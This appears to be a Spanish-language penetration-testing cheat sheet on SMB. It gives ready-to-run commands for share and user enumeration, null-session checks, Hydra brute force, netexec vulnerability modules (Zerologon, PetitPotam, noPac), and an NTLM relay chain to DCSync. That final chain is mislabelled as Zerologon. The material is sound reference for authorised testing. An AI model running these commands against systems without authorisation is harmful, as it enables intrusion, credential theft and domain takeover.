Vulnerabilidades comunes
Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.
Configuración insegura de permisos en carpetas compartidas.
Acceso con sesiones nulas (anonymous).
Credenciales por defecto o débiles.
Versiones de software con vulnerabilidades conocidas.
Checklist de vulnerabilidades
Vulnerabilidad
Descripción
Detalles
La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM).
Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).
Sesiones nulas habilitadas
Permite conexiones anónimas (sin credenciales).
Credenciales por defecto o débiles
Cuentas sin contraseña o con contraseñas débiles.
Shares con permisos de escritura
Recursos compartidos con permisos de escritura para usuarios no autorizados.
Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.
Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)
Enumeración
Identificación de hosts
Enumerar una red en busca de hosts:
Copiar NET='192.168.1.0/24'
nbtscan -r $NET
# Para una lista de IPs
for ip in $(cat servers.txt ); do nbtscan -r $ip; done
Para enumerar los sistemas que cuenta con el servicio SMB:
Copiar netexec smb <red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb servers.txt
Si se quiere realizar un escáner de una lista de subredes objetivo:
Copiar SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
Copiar NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET
Identificación de sistema operativo
Copiar git clone https://github.com/nopfor/ntlm_challenger.git
python ntlm_challenger.py 'smb://$IP'
Identificación de versión SMB
Copiar msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/scope.txt
Identificación de carpetas compartidas
Sin autenticación
Copiar NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
Copiar IP='192.168.1.100'
smbmap -H $IP
# Para una lista de IPs
for ip in $(cat servers.txt ); do smbmap -H $ip; done
Copiar IP='192.168.1.100'
smbclient -L //$IP -N
for ip in $(cat servers.txt ); do smbclient -L //$ip -N; done
Copiar IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
Copiar IP='192.168.1.100'
USER='Administrator'
PASS='password123'
enum4linux -a -u $USER -p $PASS $IP
Con autenticación
Copiar NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
Copiar IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH
Módulos de Netexec
Siendo, por ejemplo, xtormincorp
el nombre del dominio y xtormin
el usuario:
Copiar USER='xtormincorp\xtormin'
PASS='password123'
netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"
netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"
netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"
netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"
netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"
netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"
Enumeración de discos
Copiar USER='Administrator'
PASS='password123'
IP='192.168.1.100'
netexec smb $IP -u $USER -p $PASS --disks
Enumeración de usuarios
Copiar USER='Administrator'
PASS='password123'
IP='192.168.1.100'
# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"
# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"
# Vía RID Cycling
netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"
Enumeración de grupos
Copiar USER='Administrator'
PASS='password123'
IP='192.168.1.100'
# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"
# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"
Acceso a recursos
Copiar USER='Administrator'
PASS='password123'
IP='192.168.1.100'
smbmap -u $USER -p $PASS -H $IP
smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
Copiar USER='Administrator'
PASS='password123'
IP='192.168.1.100'
netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"
netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"
Fuerza bruta
Hydra
Copiar USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb
Vulnerabilidades
Firma SMB deshabilitada
Copiar IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"
SMBv1 habilitado
Copiar IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"
Sesiones nulas habilitadas
Copiar IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"
CVEs
Zerologon
Identificar si el DC ejecuta el servicio PrintSpooler:
Copiar rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
Se ejecuta lo siguiente en una consola:
Copiar ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:
Copiar python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
Última actualización hace 6 días